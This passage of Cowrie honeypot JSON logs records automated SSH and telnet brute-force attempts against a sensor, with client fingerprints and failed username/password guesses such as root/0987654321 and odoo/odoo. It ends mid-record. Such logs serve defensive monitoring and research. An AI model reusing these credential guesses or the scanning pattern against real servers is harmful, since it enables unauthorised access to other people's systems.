{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:30.594019Z","src_ip":"211.253.37.225","session":"070ae89c236f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"epc","password":"123456","message":"login attempt [epc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:31.542643Z","src_ip":"211.253.37.225","session":"070ae89c236f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:32.802227Z","src_ip":"211.253.37.225","session":"070ae89c236f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":59434,"dst_ip":"10.17.0.5","dst_port":22,"session":"1dd787634249","protocol":"ssh","message":"New connection: 141.11.88.14:59434 (10.17.0.5:22) [session: 1dd787634249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:34.886201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:34.926151Z","src_ip":"141.11.88.14","session":"1dd787634249","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:35.010643Z","src_ip":"141.11.88.14","session":"1dd787634249","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0987654321","message":"login attempt [root/0987654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:35.339197Z","src_ip":"141.11.88.14","session":"1dd787634249","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:36.459966Z","src_ip":"141.11.88.14","session":"1dd787634249","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":56028,"dst_ip":"10.17.0.5","dst_port":22,"session":"1120563f0f20","protocol":"ssh","message":"New connection: 141.11.88.14:56028 (10.17.0.5:22) [session: 1120563f0f20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:44.321762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:44.337132Z","src_ip":"141.11.88.14","session":"1120563f0f20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:44.554342Z","src_ip":"141.11.88.14","session":"1120563f0f20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo","message":"login attempt [odoo/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:44.927307Z","src_ip":"141.11.88.14","session":"1120563f0f20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:46.198419Z","src_ip":"141.11.88.14","session":"1120563f0f20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":16596,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ed3afe3d899","protocol":"ssh","message":"New connection: 141.11.88.14:16596 (10.17.0.5:22) [session: 1ed3afe3d899]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:51.106272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:51.205507Z","src_ip":"141.11.88.14","session":"1ed3afe3d899","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:51.209077Z","src_ip":"141.11.88.14","session":"1ed3afe3d899","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gmod","password":"gmod","message":"login attempt [gmod/gmod] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:52.476376Z","src_ip":"141.11.88.14","session":"1ed3afe3d899","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:53.932024Z","src_ip":"141.11.88.14","session":"1ed3afe3d899","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":27068,"dst_ip":"10.17.0.5","dst_port":22,"session":"49dc9acc0905","protocol":"ssh","message":"New connection: 141.11.88.14:27068 (10.17.0.5:22) [session: 49dc9acc0905]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:59.073295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:59.083096Z","src_ip":"141.11.88.14","session":"49dc9acc0905","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:59.165622Z","src_ip":"141.11.88.14","session":"49dc9acc0905","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"root","message":"login attempt [deployer/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:22:59.598724Z","src_ip":"141.11.88.14","session":"49dc9acc0905","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:00.759966Z","src_ip":"141.11.88.14","session":"49dc9acc0905","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":27106,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f400a5e2c8a","protocol":"ssh","message":"New connection: 141.11.88.14:27106 (10.17.0.5:22) [session: 0f400a5e2c8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:06.426343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:06.528539Z","src_ip":"141.11.88.14","session":"0f400a5e2c8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:06.541104Z","src_ip":"141.11.88.14","session":"0f400a5e2c8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123","message":"login attempt [app/app123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:07.273609Z","src_ip":"141.11.88.14","session":"0f400a5e2c8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:08.370698Z","src_ip":"141.11.88.14","session":"0f400a5e2c8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.191.244.158","src_port":60086,"dst_ip":"159.203.135.109","dst_port":22,"session":"cce6fae62b4e","protocol":"ssh","message":"New connection: 160.191.244.158:60086 (159.203.135.109:22) [session: cce6fae62b4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:09.954294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:09.958704Z","src_ip":"160.191.244.158","session":"cce6fae62b4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:10.197446Z","src_ip":"160.191.244.158","session":"cce6fae62b4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59632,"dst_ip":"159.203.135.109","dst_port":23,"session":"c668423f818c","protocol":"telnet","message":"New connection: 128.199.8.54:59632 (159.203.135.109:23) [session: c668423f818c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:10.281784Z"}
{"eventid":"cowrie.login.failed","username":"lan","password":"lan","message":"login attempt [lan/lan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:11.187485Z","src_ip":"160.191.244.158","session":"cce6fae62b4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:12.429474Z","src_ip":"160.191.244.158","session":"cce6fae62b4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":12244,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e6a386d3940","protocol":"ssh","message":"New connection: 141.11.88.14:12244 (10.17.0.5:22) [session: 5e6a386d3940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:13.232644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:13.511038Z","src_ip":"141.11.88.14","session":"5e6a386d3940","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:13.514740Z","src_ip":"141.11.88.14","session":"5e6a386d3940","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kiran","password":"kiran","message":"login attempt [kiran/kiran] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:14.454424Z","src_ip":"141.11.88.14","session":"5e6a386d3940","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:15.753778Z","src_ip":"141.11.88.14","session":"5e6a386d3940","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":21094,"dst_ip":"10.17.0.5","dst_port":22,"session":"885ec2916e5d","protocol":"ssh","message":"New connection: 141.11.88.14:21094 (10.17.0.5:22) [session: 885ec2916e5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:20.846511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:23:20.891537Z","src_ip":"141.11.88.14","session":"885ec2916e5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-e